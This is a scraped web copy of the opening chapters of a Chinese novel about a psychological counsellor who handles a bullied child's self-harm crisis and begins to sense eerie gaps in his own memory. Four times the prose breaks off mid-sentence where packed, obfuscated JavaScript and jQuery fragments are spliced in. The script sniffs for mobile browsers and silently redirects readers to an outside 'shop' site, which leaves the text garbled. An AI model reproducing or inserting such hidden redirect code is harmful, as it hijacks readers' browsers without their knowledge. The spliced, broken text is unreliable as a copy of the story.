《月色渐浓[破镜重圆]》
1. 第一章
“受冷空气影响,大雾将持续至今日下午两点左右,居民出行请注意安全。”
铃铃铃……
上课铃声悠悠扬扬一路飘到家属楼这边,柳南絮身上穿着睡衣,一只手揉着太阳穴拉开卧室房门,开门的那只手里还塞着正在播放早间新闻的手机。
“喵,喵~”
房门被拉开的一瞬间,柳南絮的脚边就多出一只猫来。
看着正在蹭自己裤腿的小猫,估计应该是饿了。为避免不小心踩到小家伙,柳南絮弯腰把它抱进怀里寻找猫粮。
刚走到玄关处,突然想起来:猫粮落心理咨询工作室了。
他不是粗心的人,实在是事出有因。
昨天晚上临近下班的时候,心理咨询工作室的座机响了,新来不久,目前还处于实习期的前台小妹李乐接听后脸色顿时大变,急急拦下踩点下班的柳南絮。
座机话筒转到柳南絮手中,他只听了一句话,便知道别说下班,搞不好要出大事。
话筒对面是柳南絮的一位来访者的家长,由于来访者本人当时情绪异常不稳定,家长没办法只好给这边打电话请求帮助。
了解情况的同时,柳南絮把手里的车钥匙递给李乐,示意她收拾东西一起。
对方挂断电话之前商量道:“柳老师,我还没和她说给您打电话这件事,我在想,要不要先给她说一下,她同意后,或者情绪不那么激动您再……”
找人帮忙又让人等在门外确实是一种非常不礼貌的行为,说话的人都不好继续说下去。
柳南絮表示理解:“好。”
得到想要的回答,一阵感谢传来:“谢谢谢谢,实在是因为我女儿现在对我们的抵触过于明显,我怕……万一再刺激到她……太感谢您了,给您添麻烦了。”
“没事,一切为了孩子,我先往你那边赶,有情况你打电话,我会找别的老师帮忙接听告知我。”
挂断电话,柳南絮一边往停车的方向走去,一边给刘景发消息:帮忙留意一下前台的座机电话。
上车后,他又一边打开导航,一边对副驾驶上的李乐说:“等那边处理好我会把你安全送到家,不用担心。”
听这话的意思,是不来这边了。
“等一下。”李乐丢下一句话匆匆跑回心理咨询工作室。
柳南絮见刘景还没回消息,打电话过去提醒他看消息,刚挂断电话,李乐就回来了。
刚刚好。
这位来访者名叫“路灵灵”,是一个小女孩,年纪不过十岁。
路灵灵因在上学期间长时间遭受同学们的霸凌,从而产生厌学情绪,进而严重影响到考试成绩。
起初各科老师并不知道“校园霸凌”这件事,只当学生正常的情绪问题,所以私底下都拿着成绩单找路灵灵谈过话,可是丝毫不管用。
怀揣着“不放弃每一个学生”的职业道德,班主任不得已将这件事告知给学生家长,希望家、校双方通力合作。
但两位家长并没有把班主任的话放在心上,以为女儿不过是迷恋上看闲书,过段时间自然而然就好了。
直到无意间看见路灵灵书包里被红墨水浸透的作业本,才终于意识到事情远没有想象中那么简单。
二人经过简短的商量,联系学校那边火急火燎把事情全都处理好后,放下工作带女儿出去游玩散心。
连续小半个月下来,虽然路灵灵的状态还是不怎么好,但当父母询问愿不愿意找位心理咨询师来帮助她的时候,得到了点头的回答。
这无疑是个很好的开始。
可怎么会……
趁着红灯的空隙,柳南絮叮嘱李乐道:“等下机灵些。”
不等李乐开口保证,先从后排传来几声猫叫。
柳南絮没有扭头往后排看去,他甚至没有任何动作,就连表情都没有变化。
倒是李乐自己先顶不住,主动解释:“柳老师,小红枣它很乖的,不咬人,更不抓人,也不吵。”
柳南絮终于看了李乐一眼,像是在看一个不争气的学生。
李乐被他的眼神吓得手心都险些冒汗,又连忙说:“我接电话的时候小红枣就在我怀里,你一招呼我,我一着急,顺手就把它塞进背包带上车了,柳老师对不起啊,我真不是故意添乱的,真就下意识。”
红灯变绿,柳南絮稳稳当当发动车子,根本看不出有任何情绪。
但是他越这样,李乐就越着急,说话都用上了敬语。
“您放心,我绝对不会再出任何差错了,等下咱俩上去,它就留在车里,您别生气……”
“带着吧。”
柳南絮突然说的三个字让李乐卡了壳,她看着说话的人,不确定地又问了一遍:“带着?”
柳南絮并没有重复自己的话,而是说:“你把猫放车上的时候,我看到了,可以看出来你确实是下意识,没有撒谎。”
听到他这样说,李乐松了一口气,脸上立即挂上笑。
却不料柳南絮接着说:“我想,赵安梦请假之前应该交代过你,在心理咨询工作室不要把它放出猫包,你知道为什么吗?”
“不知道。”李乐刚挂脸上的笑又没了,低头扣着手小声辩解,“我把它抱出来是觉得它在包里憋一天了,想着让它透透气,顺带喂它吃点东西,而且当时也快下班了,所以我就没当回事。”
前方依旧是一个红灯,柳南絮踩下刹车,重复道:“没当回事啊。”
他脸上的表情依旧没有变化,只是握在方向盘上的双手紧了紧。
李乐张嘴又要道歉,却听见柳南絮问:“这么热的天,把一只几个月大的猫崽留在车上,闷死了怎么办?”
李乐猛地抬起头,不禁想:如果刚刚它没叫,我没说,柳老师也继续装作不知情,等到达目的地停好车后车里的空调肯定会关掉,天热,凉气散得快,来访者那边也不知道多久可以处理好……
她越想越后怕,于是又要道歉。
偏偏再次被柳南絮打断:“所以你的错在于,当反应过来把它带上车后,没有第一时间把这件事告诉我一起商量办法,甚至产生瞒住我的想法”
听到最后一句话,李乐心里“咯噔”了一下。
“柳老师,我知道错了。”
可能是好不容易逮住了说话的机会,也可能是想法被拆穿,她说话的音量都拔高不少。
由于是下班点,人多
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187512|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、车多的,不管是红灯还是绿灯,斑马线上始终窜着行人,以及各类非机动车,简直毫无秩序可言。
绿灯都亮起了,汽车依旧没办法行驶,排在第一位的车主忍无可忍按响喇叭。
滴——
伴随着车窗外的鸣笛声和嘈杂的人流声,柳南絮扭头看向身侧的人,问:“李乐,感觉你对我不怎么信任,为什么?”
鸣笛声不间断地响了三、四秒后,路上的秩序好了一些,车辆可以通行了。
“啊?柳老师你说什么?刚太吵我没听清。”看到前面的车动了,李乐抬手指着又说,“可以走了,快快快。”
柳南絮收回视线,看向正前方启动车子:没听清,骗鬼呢。
他们一个装糊涂,一个很识趣地不再追问,接下来一大半的路程双方没有任何交流,就连小红枣都乖乖趴在猫包里不再出声秀存在感。
抵达路灵灵所住的小区,车刚停稳,李乐就拉开车门下车去提猫包。由于猫包在柳南絮的后面,她慢了一步,被柳南絮抢了个先。
李乐“嘿嘿”笑了笑,像是在卖乖,问:“带着它上去没问题吗?”
柳南絮之所以没阻拦她把小红枣放车上,其中一个原因是:在做咨询的过程中,他发现路灵灵非常喜欢小动物。
小红枣性格温和,说不定会帮上忙。
但柳南絮并没有回答李乐,而是抬脚快步往前走。没得到回答,李乐只好闭嘴小跑跟上。
两人进了单元楼,刚要乘电梯,就被拦在门口的维修人员告知电梯正在检修。
没办法,柳南絮提着猫包,身后跟着李乐往步梯走去。
爬到六楼的时候,李乐哭丧着脸问:“柳老师,咱要去几楼呀?怎么还没到?”
“十六楼。”柳南絮说着转身拿过了李乐的手提包。
爬到第十楼的时候,李乐手按在肚子上崩溃:“一梯一户,有没有人管管啊!”
柳南絮转身往下走了几层才看到人,建议道:“要不你停下歇歇,我先上去?那边还没有来电话,不着急。”
李乐没力气回答,只是继续咬着牙往上走,用实际行动表示“不用”。
爬到第十三楼的时候,李乐委屈地说:“柳老师,你也知道我还没有转正,你能不能看在我一步一步陪你爬十六楼的份上,不要给老板打我小报告啊!”
她这话说的柳南絮着实不太明白,问:“什么意思?”
“老板说我要想转正,有两道考核,一道是他,一道是你,其中你的意见最重要,等回头他还会让你把我实习期犯过的错一一列举出来。”
天气太热,又爬了这么多层楼梯,身上变得非常不舒服。
李乐站在应急灯下从兜里掏出吃早饭擦嘴剩的纸擦汗,早餐摊劣质的纸被挤在口袋内这么久,早已变得皱皱巴巴。
应急灯散发的光还算亮,柳南絮看着李乐,第一次觉得她可怜兮兮还挺不容易,于是再次往下走了几层,把自己口袋内的一包纸巾递过去,说:“用这个吧。”
李乐开心地说:“谢谢,柳老师真体贴,你女朋友简直修了八辈子福。”
柳南絮诚实说道:“我单身,没有女朋友。”
2. 第二章
李乐一百个不信,还有些得意:“不可能,你就别骗我了,老板都给我说你有了。”
柳南絮实在无法理解,李乐怎么那么相信刘景,他有没有女朋友自己不知道吗?李乐怎么就宁愿相信一个谣言,也不愿意相信他这个当事人呢?
爬楼梯爬到快要缺氧的李乐显然没有意识到这点,她甚至觉得柳南絮没再说话是被发现后的默认。
“你女朋友长得是不是贼漂亮?有照片没?让我瞅瞅呗!”
柳南絮不再沉默,问:“不想转正了?”
简短且极具杀伤力。
李乐不敢再问,只是仍旧很不服气地说:“考核、考核,考个屁的核,我一个前台还不能犯错了,还说什么一直以来的规矩,活该他招人难。”
柳南絮听到一半看向她的眼神掺杂了些许同情,那位老板又在逗人小姑娘了。
勉强是休息了一下,李乐跟着柳南絮一鼓作气抵达十六楼。
两人站在门口听里面的动静,什么都没听到,感觉很安静的样子。
半分钟左右之后,柳南絮的手机响了一下。
是刘景发来的消息:通话内容,对方说“点头了,点头了,我女儿她同意了”,我说“柳老师已经赶过去了,到了会敲门”,对方说“好的,好好好,谢谢您,麻烦了,感谢,感谢”,(注意对方说话语气很激动)。
肯见他,是一个好消息。
柳南絮收起手机,抬手按响门铃。
路父开的门,神色疲惫却还是努力挤出一丝笑以表待客之道,柳南絮对他点了一下头。路母苦口婆心的开导飘过来,柳南絮顺着声音找过去。
卧室的房门并没有关,但他还是站在门外敲了敲门,问:“灵灵,你好!还记得我吗?”
大概是为了安全,路灵灵以双手交叠到身后的姿势被绑在凳子上,她左侧边的地板上静静躺着一把水果刀。在亮白灯光的照射下,柳南絮看见上面粘有血迹。
不算多,说明伤口应该不深,至少割腕的话割不到深层动脉。
路灵灵没有给予任何反应,始终盯着地面的某处看。
柳南絮顺着她的视线望过去,注意到那里有几滴血。
在建立咨访关系之前,柳南絮给路灵灵进行过自杀风险评估,得出的结果并不算太高。
至少不应该在情况一直有明显好转的情况下出现这么严重的行为。
路母从床上站起身,有些抱歉地说:“柳老师,实在不好意思,这么晚还麻烦您二位大老远跑一趟,进来吧!直接进来就好,她现在这样……”说着看向自己的女儿苦笑了一下,“都不说话的。”
说实话,关于“女儿能同意见自己的心理咨询师”这件事,都让路母在松口气的同时感到略微惊讶。
柳南絮没看路母,只是摇了摇头,嘴上倒是顺着她的话对路灵灵陈述:“没事,不要紧的,灵灵,对吧!”
路灵灵仍旧望着那几滴血出神,连头都没有动。
这种情况很正常,柳南絮打算接着往下问,还没开口,小红枣突然在包里懒洋洋地叫了一声。
听到猫叫,路灵灵把视线从血迹上错开,眼珠有些愣神般微动了几下,然后抬头看向小红枣。
柳南絮见状,把猫包往上提了一下,再次轻轻敲了敲门,问:“灵灵,我们想和你玩一会儿,请问可以进去吗?”
路灵灵这次看向父母以及李乐,柳南絮给李乐使了个眼色。李乐会意,反客为主带着路父和路母到距离卧室最远的餐厅说话。
等视线里只有柳南絮和小猫后,路灵灵终于点了一下头。
这一加班,再绕路把李乐送回家,柳南絮提着猫包到家时已经晚上九点多,连饭都没顾得上吃,就开始窝在书房写记录,等真正忙完已经半夜。
“从今日凌晨三点到早上六点,古泉路与街华路交叉口已经发生多起事故,该路段临近多所学校,居民出行建议戴好防风用具,由于大雾天气能见度较低,开车人员请控制好驾驶速度,小心行驶,另温馨提醒,遇事不要慌张,可拨打……”
手机里的早间新闻还在争分夺秒播着,不用看画面,只听某些字词都能感觉到外面天气的恶劣程度。
“喵喵喵~”
柳南絮安抚地抚摸着小红枣,转身往里走了走,把猫放到沙发上后转身拐进浴室洗澡。
他没有养过任何小动物,万一喂坏没办法交代。所以最好的解决办法就是,抓紧时间去一趟心理咨询工作室。
哪怕外面天气非常不好。
水流声响起又消失,浴室门被拉开的一瞬间,热气没了阻挡全都拼命往外钻。
今天气温偏低,屋内也没开暖气,不到片刻,浴室满是雾气的镜子上就布满水珠滑过的痕迹。
柳南絮脑袋上顶着毛巾进房间换衣服,出来收拾好提着猫包出门。
刚下楼,视线立即被浓雾遮挡了个严严实实。
要不说看新闻是个好习惯。
大雾天气开车着实危险,还是步行比较好,安全第一。
刚好是上班、上学的高峰期,柳南絮贴着人行道的最边上走。
这样可以相对来说安全一些,但他仍旧保持着高度警惕,来来往往的人影全被他用余光淡淡扫过。
因天气原因,裹在视线中的人影哪怕几步之外都稍显模糊。
但怪事发生了,有几个人明明和柳南絮离得不近,却偏偏格外清晰,仿佛周遭没有雾气遮挡一样。
例如那个提着豆浆油条慢悠悠往前走的年轻孕妇,例如站在花坛边上身穿单薄病号服发呆的奇怪老爷爷,例如买完菜回家的老婆婆,例如穿着工作服的中年男人的背影……
柳南絮潜意识觉得不太对,有些反常地停下脚步,抬起手用力揉揉眼,然后下意识转身刻意去寻找那几个能看清楚的人。
怪事再次发生。
他一个都没找到。
孕妇、老爷爷、老婆婆、中年男人……
都不见了。
柳南絮定在原地,眼前的浓雾仿佛变成一道天然屏障,呈现着尤为可怕的模样,让人生出下一秒就会被某个不明物体带走虐杀的感觉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187513|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>敏感多疑的内心促使柳南絮把谨慎指数拉到最高,他甚至不知道该不该继续往前走。
“滴滴……”
一辆载满学生的幼儿园校车在非机动车道上蹭了一段路,喇叭声把正集中于胡思乱想的柳南絮叫醒。
一人一车擦肩而过的时候,柳南絮看清了黄色校车的车牌号。
豫MMP443。
一点都不好记。柳南絮默默地想,然后收回目光右拐进名叫“南巷街”的街道。
要知道,学校附近的每寸土地都让小商小贩为止向往,奈何有规定学校附近环境整洁,禁止摆摊设点,禁止占用学校门前的道路和校门两侧的人行道从事经营活动。
为了养家糊口,有人把目光盯在了南巷街上。
由于这里离好几所学校都不算远,从幼儿园到高中,人流量大到没得说。关键是,可以巧妙超出政府划定的“学校附近”的范围。
渐渐,越来越多的小商小贩前来聚集,说“五花八门”都不过分。
摊位一多,竞争惨烈,难吃的东西很快被剔除出去,经得起考验剩下的闭着眼随便选都行。
于是,学生们大多上学前必来一趟,放学后再必来一趟,时不时的朋友聚会不出意外的话还是选择来这里瞎逛。
到后来,来的不单单是学生。
所以,南巷街在早些时候是出了名的小吃街。
只是,热闹繁荣的背后无可避免会产生各种名义上的费用,有证人员和无证人员几个合一伙地来向摊主们收取什么保护费、地摊费、垃圾处理费……
不过就算这样,收入还是可观的,摊主们谁都不愿意从这个堪比“聚宝盆”的地方挪开。
有好处就会有坏处,还是那个优点,这里离好几所学校都不算远。
学校附近一到上、下学的时间段就会非常拥挤,尤其是“南巷街”变成“小吃街”之后,时间一长,肯定会引起人民群众向有关部门反映。
南巷街这里的路不算宽,但也称不上窄,要是单做出行丝毫不成问题,那么问题就出在流动摊位上,以及非法占用公共地段的门店。
后来环保查得厉害,打的第一棒就是这里。小商小贩四处散了,两排门店也老实规矩了。
不然按照当时的发展,指不定什么时候会出大乱子。
最后的结果自然是市容变得更加干净整洁,社会秩序更加稳定。只是来南巷街这边的人迅速变少,门店一家一家地歇业。
自从南巷街被摘掉“聚宝盆”的称号,不知从哪里传出“破财、不干净”之类的传闻,以至于近两年这里冷清到不能再冷清,一点人气儿都没有。
柳南絮走这条路也不过是因为去心理咨询工作室的路程最短,只要不开车他都会走这里。
冷清的地方安静,可以让柳南絮允许自己稍稍不处于那么紧绷的状态。
房屋招租的广告风吹雨打,被淋得脏污不堪。地面倒是被环卫工人打扫的很干净,没有半点垃圾。
路过某家门店时,他的目光不自觉在门店前的台阶上停留了几秒。
3. 第三章
这家门店是整条街上最小的,不怎么引人注意,连个店牌都没有,也不知道之前是用来干什么的。
柳南絮并不关心这个问题,吸引他的是门店前面台阶上的一大片暗红色。
第一次看到的时候,柳南絮以为是油漆,但是看的次数多了,又觉得不太像。
可能是红色颜料吧?
再次猜了一个答案,柳南絮淡淡收回目光,继续专心赶路。
到心理咨询工作室时,李乐看着电视剧,一口一个小笼包吃得正香。听到动静,她把视线从屏幕上挪开,见到是柳南絮来,立刻把刚从椅子上挪开的屁股挪回去。
“柳老师,你不是休息吗?”李乐按着倒退键,补上自己错过的几个画面,左手顺手把塑料袋往前推了推,示意柳南絮吃小笼包。
“不用,”柳南絮把猫包放下,“我来拿猫粮。”
“哦!这里。”
实在不舍得错过剧情,也不想再倒回去,李乐视线停留在屏幕上,扭着身子把置物架上的一大袋东西拿下来递给柳南絮。
接过塑料袋打开,里面每种食品外包装上都被赵安梦用签字笔清楚详细地写明了用量。柳南絮挨个看了一遍,然后转身去冲羊奶粉。
闻到香味儿,李乐顾不上把嘴里的包子咽干净,含糊不清地说:“真香,我昨天喂它的时候差点没忍住给自己也冲一杯尝尝。”
小红枣贴着猫宝“喵”了一声。
“真可爱!”李乐都顾不上看电视剧了,伸手就要把小红枣放出来,可想到昨天晚上,又把手收了回去。
柳南絮从饮水机前回来,一手端着小猫碗,一手拿着杯温水。
把温水放到李乐手边,说:“喝水顺顺。”
李乐拿起一次性纸杯喝了一口,再次感慨道:“柳老师您可真的太绅士了,您女朋友简直……”
柳南絮打开猫包把小猫碗放进去又拉上,抬眼看向李乐。
四目相对,李乐迅速往自己嘴里塞了一个包子,把没说完的话咽进肚子里。
“我单身。”柳南絮强调道,“第二遍。”
李乐摆摆手,站起来说:“柳老师,你要知道,你今年是该二十五,不是该十五,别说谈恋爱了,就算抱个娃都不过分。”
柳南絮往后退一步,及时避开李乐准备往自己肩膀上拍的手。
“刚拿了包子,还没来得及擦手,是挺油。”李乐顺手抽张桌面上的纸擦手,带着预谋劝道,“谈对象而已,又不是什么大不了的事,有嫂子照片没?肯定有,让我瞅一眼呗!就一眼。”
柳南絮都打算提上小红枣以及猫粮回家了,二楼传来开门声,紧接着楼梯转角处站了一个人。
刘景用恨铁不成钢的语气说:“小李,你年纪轻轻就八卦成这样,过些年老了指定是村口情报站的头头。”
李乐迅速把电视剧调换成国学大师讲义小课堂,笑着卖乖:“老板你什么时候来的?我学习都没注意到。”
柳南絮看着刘景,伸出手无奈地指了指李乐,说:“解释解释。”
“那什么……”刘景笑着承认,“小絮确实没有对象,单身状态,之前我骗你玩儿呢!”
真相大白,李乐猛地抬头,情绪激动地说:“怎么可能!柳老师人长得这么帅,高鼻梁,双眼皮的,皮肤还这么白,工作能力又强,怎么可能没有一个瞎眼……啊,不是……”
“总之,他怎么可能单身呢?”李乐从前台绕到外面,把柳南絮上上下下、仔仔细细打量了一番,再一次灵魂质问,“你如果单身的话,每天踩点下班干嘛去啊?”
质问完柳南絮,李姑娘又质问刘景:“还有你,为什么骗我?亏我那么相信你,我都没信柳老师。”
“嘿!”自己的员工脾气一天比一天大啊!刘景站不住了,顶着乱糟糟的头发从楼梯上下来,“来来来,你先和我说说,昨天晚上是谁锁的门?”
李乐质问完就恢复了理智,说话语气恢复正常,回答:“我锁的,怎么了?是你说这里一贯是前台下班后负责锁门,我做错什么了?”
“你锁门之前都不喊一声的吗?”刘景用右手指左胳膊,“你把我关里面了,昨天晚上我睡的沙发,胳膊到现在还酸着。”
李乐脑子没反应过来,小声说:“锁上了再打开不就行了,你又不是没钥匙。”
“外面,外面锁的,我人在里面,有钥匙有什么用?”刘景已经快不想说话了。
他俩“你一句,我一句”聊得挺热闹,柳南絮站他俩中间耳朵都快要遭不住,见没自己的事了,伸手去提猫包离开。
刘景缓了口气,把人拦下:“你别急着走,上来一趟。”
柳南絮上大一的时候,刘景在读研,因为成绩优异,常被导师挂在嘴边,久而久之,名声便传到柳南絮的耳朵里。
他们之间能有联系是因为柳南絮有次碰到个想不明白的课题,好一番打听找到刘景请教。
刘景觉得柳南絮的学习能力出众,也欣赏他对待未来打算从事心理咨询行业的责任心,所以二人经常一起探讨,很快就成了要好的朋友。
刘景后来开了这家心理咨询工作室,柳南絮刚毕业便来应聘,一直在这里工作到现在。
进了办公室,刘景让柳南絮坐,然后语重心长地说:“小絮,当初我毕业后你除了遇到特别特别搞不懂的难题会和我发消息联系几句外,同我几乎没怎么闲聊过。”
“我知道你学业繁忙,我也正值创业初期,所以我们更别说见面,要不是你毕业后过来找我,咱俩之间的缘分说不定就断了。”
这一番话说到了柳南絮的心坎儿上,忙道:“刘哥,实在抱歉,您帮我那么多,这方面确实是我疏忽了。”
刘景昨天晚上同样没休息好,不过无关任何一位来访者,他是在总结柳南絮这个人的变化,越琢磨越觉得有必要找这个学弟好好谈谈,以至
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187514|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于凌晨才睡着。
一直在工作的热水器发出“滴”的一声响,刘景伸手开始沏茶,氤氲的热气把谈话紧张的氛围冲淡了些。
伴随着茶香往外扩散,刘景慢慢解释:“我不是在责备你,只是咱俩平时都太忙,一星期你也只能在周二好好休息休息,今天你休息难得来一趟,我这个时间点也没预约,既然凑了巧,就想和你聊聊。”
柳南絮没明白他找自己的真正目的,便没说话,只是礼貌地等待下文。
刘景摆弄着茶杯,整个人显得有些漫不经心,说话之前甚至不自觉笑了一下。
“也不是我自吹自捧,在学校的时候有不少学弟找我请教问题,我有空就帮,没空就直言拒绝,除了你,你来找我,我是没时间也挤时间出来,你知道为什么吗?”
柳南絮并没有思考过这个问题,眼下被刘景问,想了想不确定地回答:“我好学?”
下一秒刘景反问了回来:“学校那么大,我也不是那么好找的,都能找到我这里,有哪个不好学?”
柳南絮只好实话实说:“我不知道。”
“这个行业的发展时间在国内并不算长,所以肯定会存在许许多多的问题,既然存在问题,那么就必须要解决。”
“我个人觉得,人的表现欲其实都很强,所以想从事这个行业不光要保持警惕,还要懂得和自身的欲望对抗,而你,我认为做得很好。”
柳南絮完全没想到是因为这点,毕竟如果想当一个心理咨询师就必须牢记并遵守“保密原则”。
刘景低头倒茶,拿起一杯轻轻放在柳南絮的面前,抬起头同他对视:“当然,我没接触过你的生活,所以不知道你在私下是什么样子,至少在学校面对这一专业的时候,你所展现出来的原则性很强。”
柳南絮拿起茶杯吹了吹,仍旧打算暂时当好一个听众,等时机合适了再开口。
刘景知道会是这样,自顾自往下说:“我们初次见面的时候你应该不过十八、九岁,这在同龄人中已经算很成熟了,我认为,哪怕和即将二十五岁的你自己相比较,那个时候的你,处理事情的方法和态度要远胜于现在。”
手里原本捧着的热茶已经变温,柳南絮却放下了。
没心情喝。
“所以学长是在告诉我越活越回去了?”
“不,我不是这个意思。”刘景否认得很果断,而且一连两遍,“我只是有些好奇,硬要说的话,是相当好奇,既然你在那个时候都能把当下所遇到的难题处理得很好,为什么现在不行了呢?”
对上柳南絮的视线,刘景低头错开,把冷掉的两杯茶都倒掉换上新的,过程中道:“我知道人生每个阶段所遇到的难题程度不一样,这也是我为什么不是说你越活越回去了,我只是想冒昧问问……”
说到这里,刘景抬头再次看向柳南絮,两人对视了几秒他才把下文说出来。
“你在害怕什么?”
4. 第四章
兴许是刘景眼神中的探究意味过于明显,柳南絮居然放纵自己失态,说:“这确实是你冒昧了,你是我的老板,我认为,我这个员工把工作做好就可以了。”
这话的言外之意就是:这是我的个人隐私,和你没什么关系,我不想说。
柳南絮提到上下级关系,一下子就把交情给拉远了。
刘景想了想,迅速把谈话内容拽回开始。
“说起员工、老板,两年前你来这里应聘,见到你的变化后我只觉得你留在我这里屈才了,后来见识到你的工作能力,这个想法更加强烈,要不是在学校认识了你,指不定我现在怎么忙活呢!实在多谢!”
刘景再次调整好二人之间谈话的身份关系,暗示柳南絮现在他们是以“朋友”这种关系在聊天,警惕性不用那么强。
柳南絮听懂了,他也愿意接下这个暗示,但警惕性只升不降。
“就算我没有来应聘,肯定也会有别人来,不管怎样,刘哥你的发展肯定会越来越好。”
“借你吉言了,不过我还是觉得你的工作能力最让我满意,成,不耽误你休息的时间了,回去吧!”
刘景清楚对柳南絮不能逼得太紧,既然聊了这么长时间还没让他放松下来,这次应该没办法往下说了。
谈话结束,柳南絮站起身下楼离开。
由于想叹口气放松一下,他直接钻进卫生间。
要是之前还好,现在受到刘景的试探,哪怕处于狭小的空间,他依旧觉得没那么安全。
本来想叹出去的一口气始终憋在心里没能跑掉,偏偏脑海中又不受控制地浮现出刘景说的话。
尤其是那句——你在害怕什么?
这几个字以各种声线、语气在柳南絮的脑海中翻滚,时而由远到近,时而由近到远,把他逼到头疼得仿佛是要裂开。
好在他没彻底放弃,硬是强撑着打开水龙头往自己脸上泼了两捧水。
“两捧水”埋藏的深意是“失控”。
一直以来,他都自认为自己是一个忍耐性很强的人,但是以现在这种情况看,到底还是高估自己了。
失控过后,柳南絮清醒了,可又似乎……不清醒。
清醒在确定自己有好好生活,吃饭、睡觉、工作,与人相处姑且也算。
不清醒在不确定自己是否真的忘了些什么。可要是有的话,到底是什么?
日子一天一天地过着,他每分每秒都实实在在地经历着,能把什么重要的事给忘了?
刘景好奇柳南絮在害怕什么,柳南絮没有回答,一个原因是不想透露隐私,还有一个最最主要的原因——他也不知道自己在害怕什么。
偏偏他又笃定自己有害怕的东西,笃定并不单纯来源于“每个人都有自己所害怕的东西或者事件”这种人生哲言。
柳南絮关掉水龙头,双手撑在洗手台上盯着镜子中的自己。
眼前这面干燥的镜子和家里浴室布满水蒸气的镜子完全不一样,但落在他的眼中两者并没有什么差别。
都同样地模糊不清。
家里的那面是因为水蒸气,眼前的这面呢?
柳南絮垂下头,满满的都是沮丧,这种情况对他来说非常少有。
他也很清楚自己现在非常不妙,可又固执地觉得依照自己的忍耐力不至于仅仅到这种程度。他明明完全可以像刘景说的那样,把遇到的所有难题都处理好。
柳南絮异常小声地喃喃自语道:“哪怕即将二十五岁的现在,我也可以处理好。”
冰凉的洗手台把柳南絮手上的温度降得更低,让他得以慢慢平复下来。
这次巨大的崩溃不算没有收获,柳南絮心里面那个名为“是否忘记了什么事”的天秤往“是”的那边偏了偏,他甚至觉得多半和自己害怕的东西有所关联。
毕竟如果没有忘记自己走过的任何一个瞬间,为什么会不知道自己具体在害怕什么?
从洗手间出来,一股浓郁的咖啡味扑面而来,猜也知道是谁弄出来的。
见人出来,李乐站在饮水机前搅拌着咖啡邀功:“柳老师,我已经帮你把小红枣的碗洗干净了,你直接带走就行。”
柳南絮走到前台看着猫包思考了一会儿,转身问:“能不能让它留在这里,晚上跟你回家?明天早上我给你带早饭当回礼。”
他俩本来商量的是:白天李乐负责照顾小红枣,晚上下班由柳南絮带回家照看。
可自己现在的状态不太好,没办法照顾小家伙,只能找人帮忙。
“好啊!好啊!我正好省一顿早饭钱。”
李乐看到柳南絮脸上的水什么都没说,只是走到前台抽了几张纸递给他。
其实这本来并不算什么,但是放在柳南絮身上就不太一样。他这个人很注重个人形象,根本不会这样出现在人前。
除非状态非常非常糟糕。
“谢谢。”柳南絮把废纸扔进垃圾桶,补充道,“想吃什么给我发消息。”
他说完就拉开门出去了,硬生生把李乐回应的一个“好”字拦在玻璃门的里面。
回去走的路和来时的路一样,雾气散是散了点,但是不怎么明显,行人和车辆倒是少了许多,一路上也没听见鸣笛声。
柳南絮再次踏入南巷街后,位于街头末尾的一抹黄颜色闯入他眼里又在眨眼间消失。
是一辆幼儿园专用校车。
色彩心理学中,黄颜色能刺激大脑中与焦虑有关的区域,有着警告效果,这也是为什么代表“警告”意思的物件和设备通常是黄颜色的原因。
柳南絮本来就还没有整理好心情,现在又猛地被刺激了一下,果断转身离开南巷街改走大路。
走出去好几步后,短暂停留在眼睛里面的汽车仍旧在脑海中不断呈现转弯的画面。
呈现着、呈现着,他想起来了。
感觉刚过去的那辆校车和早上看到的那辆是一个车牌号。
柳南絮停下步伐,掏出手机看时间。
十一点十七分。
这个时间点哪里会接送学生?更何况南巷街连个住户都没有,不可能有需要到那里接送的学生。
难不成司机公车私用急着往回赶,所以抄近路?
也不会啊!大路路面平整,这个时间段道路并不拥挤,司机不至于在大雾天气抄这么一条不好拐的路走。
他正准备钻牛角尖,身后传来一道陌生的声音。
一个骑电动车的年轻小伙子善意提
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 